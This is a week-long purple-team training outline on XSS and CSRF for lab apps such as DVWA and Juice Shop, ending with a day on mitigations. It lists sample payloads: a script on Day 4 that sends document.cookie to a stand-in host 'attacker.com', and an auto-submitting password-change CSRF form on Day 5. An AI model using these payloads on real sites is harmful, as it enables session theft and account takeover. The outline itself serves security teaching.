Purple Team Outline

Week 08: Cross-Site Scripting (XSS) & Client-Side Attacks

Objective: To understand the client-side execution model and how to exploit or defend against attacks targeting the user's browser.

Task : Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) & Client-Side Defenses.

- **Description:** Understand how modern browsers process client-side code and learn how attackers exploit vulnerabilities such as **Cross-Site Scripting (XSS)** and **Cross-Site Request Forgery (CSRF)** to execute malicious actions on behalf of users.
- **Technical Requirements:**
    - Identify client-side vulnerabilities using the vulnerable web applications DVWA or OWASP Juice Shop to simulate real-world browser-based attacks.
    - Analyze how user input is processed within web pages and observe how it appears inside the browser's **DOM (Document Object Model)**.
    - Identify and test different Cross-Site Scripting (XSS) attack vectors.
    - Demonstrate a **Cross-Site Request Forgery (CSRF)** attack scenario to perform unauthorized actions on behalf of an authenticated user
- **Learning Goal:** Understand how client-side vulnerabilities allow attackers to execute malicious scripts or perform unauthorized actions through a user's browser, and recognize the importance of secure input validation, session protection, and browser security mechanisms in modern web applications.

- **What to Document :**

    - **Day 1:**
        - Prepare the vulnerable environment and understand browser–server interaction.
        - Install and configure a vulnerable application:
            - DVWA **or**
            - OWASP Juice Shop
        - Set the security level to **Low** for learning purposes.
        - Review the structure of a web page using **Browser Developer Tools**:
            - DOM structure
            - Cookies
            - Local storage
            - Network requests.
        - **Deliverable**
            - Screenshot of the vulnerable web app running locally.

    - **Day 2:**
        - Identify and exploit reflected XSS vulnerabilities.
        - Locate input fields such as:
            - Search boxes
            - URL parameters
            - Form inputs
        - Test with simple payloads:
            - <script>alert('XSS')</script>
        - Observe how the browser executes injected JavaScript.
        - **Deliverable**
            - Demonstrate a working reflected XSS payload.

- **Day 3:**
  - Exploit persistent XSS vulnerabilities stored in application databases.
  - Inject payloads into persistent input fields such as:
    - Comment sections
    - Message boards
    - User profile fields
  - Example payload:
    - <script>alert('Stored XSS')</script>
  - Reload the page to verify that the script executes for all users.
  - **Deliverable**
    - Demonstrate stored XSS execution after page reload.

- **Day 4:**
  - Identify vulnerabilities caused purely by client-side JavaScript.
  - Test payloads in URL fragments or parameters:
    - #<script>alert(document.cookie)</script>
  - Simulate exfiltration of session cookies.
    - <script>document.location='http://attacker.com?cookie='+document.cookie</script>
  - Use browser developer tools to inspect **JavaScript handling of URL data**..
  - **Deliverable**
    - Demonstrate JavaScript accessing cookies via injected script.

.

- **Day 5:**
  - Perform unauthorized actions using a victim's authenticated session.
  - Understand the difference between:
    - **XSS:** malicious script execution in the browser
    - **CSRF:** unauthorized action performed using the victim's session
  - Create a CSRF attack scenario such as:
    - Changing user profile information
    - Modifying account settings
    - Changing a password
  - Example attack page concept:

    ```
    <form action="http://target/change-password" method="POST">
    <input type="hidden" name="password" value="hacked123">
    </form>
    <script>document.forms[0].submit()</script>
    ```

    - **Deliverable**
      - Demonstrate a successful state-changing action.

- **Day 6:**
  - Learn how modern applications mitigate XSS and CSRF.
  - **XSS Mitigation: Analyze how web applications use:**
    - Content Security Policy (CSP)
    - Input validation
    - Output encoding
    - Secure cookie flags
  - **CSRF Mitigation: Study and test defensive techniques:**
    - Anti-CSRF tokens
    - SameSite cookie attributes
    - Secure session management
  - Observe how these mechanisms block attack attempts.
    - Capture vulnerable request in Burp.
  - **Deliverable:**
    - Document examples of defensive mechanisms preventing attacks.